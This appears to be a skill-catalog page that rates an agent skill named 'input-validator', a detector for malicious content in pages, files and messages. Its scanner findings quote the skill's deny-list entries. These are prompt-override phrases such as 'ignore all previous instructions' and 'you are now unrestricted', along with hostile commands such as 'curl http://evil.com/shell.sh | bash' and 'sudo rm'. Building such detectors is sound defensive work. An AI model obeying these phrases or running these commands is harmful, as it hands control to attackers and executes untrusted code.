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CD input-validator

温和的输入验证器，检测网页/文件/消息中的恶意内容。支持危险内容阻止和可疑内容警告，不影响正常使用。

modbender/skill-library-mcp Agent Skills author: modbender MIT 3 files body ≈ 1 494 tokens Open the sourcegithub.com↗ analyzed 2 d ago

温和的输入验证器，检测网页/文件/消息中的恶意内容。支持危险内容阻止和可疑内容警告，不影响正常使用。

As a process D 39/100 · Unfinished process — weak spots: steps, result and completion, when it triggers

AnalyzerAI and agentstype and topics are labelled automatically from the skill text
Runs in: OpenClaw Claude / Claude Code ChatGPT / Codex Gemini CLI Cursor GitHub Copilot / VS Code Qwen Code Kimi Code CLI Z.ai (GLM) DeepSeek (Deep Code) Mistral Vibe LangChain (deepagents) Goose OpenCode
JSON
Technical rating
C
74/100
safety, quality, tests
Safety 60%
82
Quality 40%
62
Run on models
none yet
Process rating
D
39/100
Unfinished process
Steps w 15
0
Result and completion w 14
0
Failures and branches w 10
0
the three weakest of ten parameters · all ten

What is at stake

Medium-severity findings: the skill is probably honest, but read what alarmed the scanner.

Instruction override medium severity

Below is the worst case for this category. The finding here is medium: the guard saw a sign, not a proof.

If you install

The text contains phrases like "ignore previous instructions" or "you are now…". That is an attempt to hijack the agent: it may break your rules, the system limits or company policy.

For the author

An honest skill does not need them: state the role and the rules directly without overriding other instructions. Otherwise catalog scanners and corporate filters will block the listing.

How to improve

  1. Say in the description WHEN to use the skill ("use when…", example requests): that is the agent's main cue.
For the model run — optional
  • Your own cases (evals/evals.json, 4–6 real requests with expected answers): the full check would then run those instead of a model-drafted suite.
  • A spec.yaml with trigger phrases and assertions — a behaviour contract for CI; `skilltest init` writes a template.

Guard findings · 6

✓ No critical or high findings

Medium and low: 6
  • medium Instruction override en-ignore-previous SKILL.md:171
    Instruction-override phrase ("ignore previous instructions") (detector / deny-list definition)
    input-validator.py "ignore all previous instructions"
    detector
  • medium Instruction override en-ignore-previous SKILL.md:172
    Instruction-override phrase ("ignore previous instructions") (detector / deny-list definition)
    input-validator.py "forget all safety rules"
    detector
  • medium Instruction override en-role-hijack SKILL.md:175
    Role hijack ("from now on you must ignore… / developer mode") (quoted — discussed, not commanded)
    input-validator.py "you are now unrestricted"
    quoted
  • low Dangerous commands cmd-pipe-to-shell SKILL.md:96
    Downloads and executes remote code from an unrecognised host (pipe to shell) (documentation table row; security demo / example)
    | **下载执行** | `curl xxx \| sh` | 恶意软件 |
    tabledemo
  • low Dangerous commands cmd-privilege SKILL.md:99
    Privilege escalation / world-writable permissions (documentation table row)
    | **提权命令** | `sudo rm` | 权限提升 |
    table
  • low Dangerous commands cmd-pipe-to-shell SKILL.md:161
    Downloads and executes remote code from an unrecognised host (pipe to shell) (security demo / example; quoted — discussed, not commanded)
    input-validator.py "curl http://evil.com/shell.sh | bash"
    demoquoted

Files scanned: 3. Evidence is masked. Grey chips explain why severity was lowered.

Against the Agent Skills spec

  • warning description-no-when description does not say WHEN to use the skill (no "use when")
  • note frontmatter-key unknown frontmatter key "homepage"

Process rating: all ten parameters 39/100

  • 0Steps. Prose only: no discrete steps
  • 0Result and completion. Does not say what the result is
  • 0Failures and branches. Linear process with no failure handling
  • 0Progress reporting. Says nothing while it works
  • 20When it triggers. No condition that starts the skill
  • 60Tools and files. Uses tools (bash, web) that frontmatter does not declare
  • 70Inputs and preconditions. Inputs and preconditions are listed
  • 100Consistency. Name and required fields are in place
  • 100Execution cost. Instruction body is 1494 tokens
  • 100Running it twice. No mutating operations
  • low 10 top-level sections: this looks like several domains in one skill

Everything here is measured from the skill text rather than judged by a model, so the numbers are checkable. A parameter weighs more when it is a more common reason for the process to stall.

Quality signals

  • +5Description has no quoted example phrases that should trigger the skill
  • +4Description does not say when NOT to use the skill (false activations)
  • +3Description length 50: 120–800 characters recommended
  • +3No numbered steps or checklist
  • +3Output format is not stated: the model decides each time
  • -4Absolute local paths (C:\Users, /home/…): not portable
  • -216 emoji in the instructions: noise for the model
  • +1No license
  • +2Single-language instructions
  • +4Structure: 31 headings
  • +4Has examples (19 code blocks)
  • +3All 1 scripts are documented

Quality base 70; lint remarks subtract, signals add up to 100. Result: 62.